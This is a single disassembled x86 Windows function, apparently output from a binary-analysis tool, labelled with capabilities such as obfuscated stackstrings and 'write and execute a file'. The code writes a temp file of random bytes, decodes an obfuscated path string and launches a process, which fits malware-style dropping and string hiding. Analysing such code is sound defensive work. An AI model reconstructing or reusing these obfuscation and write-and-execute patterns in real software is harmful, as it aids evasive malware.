Function at 0x412620
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x4ac
mov eax, dword [0x4310d8]
push ebx
push ebp
push esi
mov dword [esp + 0x4b4], eax
push edi
lea eax, [esp + 0x1ac]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 0xa8]
push ecx
push 0
push 0x42e292
lea edx, [esp + 0x1b8]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
call fcn.0040c1d0
mov ecx, 0xc000
xor edx, edx
div ecx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, edx
add esi, ecx
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x4126f5
xor ebx, ebx
test esi, esi
jbe 0x4126af
call fcn.0040c1d0
xor edx, edx
mov ecx, 0x64
div ecx
add dl, 0x1e
mov byte [ebx + edi], dl
inc ebx
cmp ebx, esi
jb 0x412696
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0xc0]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov ebx, eax
lea eax, [esp + 0x14]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push edi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4126fb
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 0xb0
mov byte [esp + 0x79], al
mov byte [esp + 0x97], al
mov al, 0xac
mov dl, 0x83
mov cl, 0xae
mov byte [esp + 0x99], al
mov byte [esp + 0x9b], al
mov byte [esp + 0x68], 0xc6
mov byte [esp + 0x69], 0xc
mov byte [esp + 0x6a], 0x9a
mov byte [esp + 0x6b], 0x34
mov byte [esp + 0x6c], 0x27
mov byte [esp + 0x6d], 0x9b
mov byte [esp + 0x6e], 0xf6
mov byte [esp + 0x6f], 0x16
mov byte [esp + 0x70], 0x4f
mov byte [esp + 0x71], 0x95
mov byte [esp + 0x72], 1
mov byte [esp + 0x73], 0x88
mov byte [esp + 0x74], 0xcc
mov byte [esp + 0x75], 0xe
mov byte [esp + 0x76], 0x92
mov byte [esp + 0x77], dl
mov byte [esp + 0x78], 0xe9
mov byte [esp + 0x7a], 0xc0
mov byte [esp + 0x7b], 0xc3
mov byte [esp + 0x7c], 0xbd
mov byte [esp + 0x7d], 0x29
mov byte [esp + 0x7e], 0xe7
mov byte [esp + 0x7f], 0xbc
mov byte [esp + 0x80], 0x85
mov byte [esp + 0x81], 0xab
mov byte [esp + 0x82], 0xfb
mov byte [esp + 0x83], 0x41
mov byte [esp + 0x84], 0x91
mov byte [esp + 0x85], 0xb2
mov byte [esp + 0x88], 0x5f
mov byte [esp + 0x89], 0x4b
mov byte [esp + 0x8a], 0xaf
mov byte [esp + 0x8b], 0x1a
mov byte [esp + 0x8c], 0x1d
mov byte [esp + 0x8d], cl
mov byte [esp + 0x8e], 0x5c
mov byte [esp + 0x8f], 0xf
mov byte [esp + 0x90], 0xd
mov byte [esp + 0x91], 0xbe
mov byte [esp + 0x92], 0x78
mov byte [esp + 0x93], 0xeb
mov byte [esp + 0x94], 0xa8
mov byte [esp + 0x95], 0x57
mov byte [esp + 0x96], 0xdb
mov byte [esp + 0x98], 0x49
mov byte [esp + 0x9a], cl
mov byte [esp + 0x9c], 0xb7
mov byte [esp + 0x9d], 0x3c
mov byte [esp + 0x9e], 0x89
mov byte [esp + 0x9f], 0xa5
mov byte [esp + 0xa0], 0xdf
mov byte [esp + 0xa1], dl
mov byte [esp + 0xa2], 0x6a
mov byte [esp + 0xa3], 0x37
mov byte [esp + 0xa4], 0xd4
mov byte [esp + 0xa5], 0x4e
xor eax, eax
jmp 0x4128a0
mov cl, byte [esp + eax + 0x88]
mov dl, byte [esp + eax + 0x68]
add dl, cl
mov cl, byte [esp + eax + 0x69]
mov byte [esp + eax + 0x68], dl
mov dl, byte [esp + eax + 0x89]
add cl, dl
mov dl, byte [esp + eax + 0x6a]
mov byte [esp + eax + 0x69], cl
mov cl, byte [esp + eax + 0x8a]
add dl, cl
mov cl, byte [esp + eax + 0x6b]
mov byte [esp + eax + 0x6a], dl
mov dl, byte [esp + eax + 0x8b]
add cl, dl
mov dl, byte [esp + eax + 0x6c]
mov byte [esp + eax + 0x6b], cl
mov cl, byte [esp + eax + 0x8c]
add dl, cl
mov cl, byte [esp + eax + 0x6d]
mov byte [esp + eax + 0x6c], dl
mov dl, byte [esp + eax + 0x8d]
add cl, dl
mov byte [esp + eax + 0x6d], cl
add eax, 6
cmp eax, 0x1e
jl 0x4128a0
push 0x208
lea eax, [esp + 0x2b4]
push eax
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x42e3f8
lea edx, [esp + 0x2b4]
push edx
call esi
lea eax, [esp + 0xa8]
push eax
lea ecx, [esp + 0x2b4]
push ecx
call esi
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x2d0]
push ecx
push 0
mov dword [esp + 0x4c], 0x44
mov word [esp + 0x7c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, dword [esp + 0x14]
push edx
call ebx
mov eax, dword [esp + 0x18]
push eax
call ebx
mov ecx, dword [esp + 0x4b8]
pop edi
pop esi
pop ebp
pop ebx
call fcn.00424873
add esp, 0x4ac
ret